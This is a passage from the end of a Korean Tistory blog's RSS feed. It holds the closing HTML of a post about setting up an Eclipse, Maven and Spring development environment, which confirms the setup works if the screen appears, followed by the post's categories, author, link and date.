this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1106&quot; height=&quot;758&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면이 보인다면 정상작동에 성공한 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/개발환경구축</category>
      <category>Eclipse</category>
      <category>maven</category>
      <category>Spring</category>
      <author>불친절한 토리씨</author>
      <guid isPermaLink="true">https://mytory.tistory.com/239</guid>
      <comments>https://mytory.tistory.com/239#entry239comment</comments>
      <pubDate>Thu, 24 Nov 2022 17:46:23 +0900</pubDate>
    </item>
  </channel>
</rss>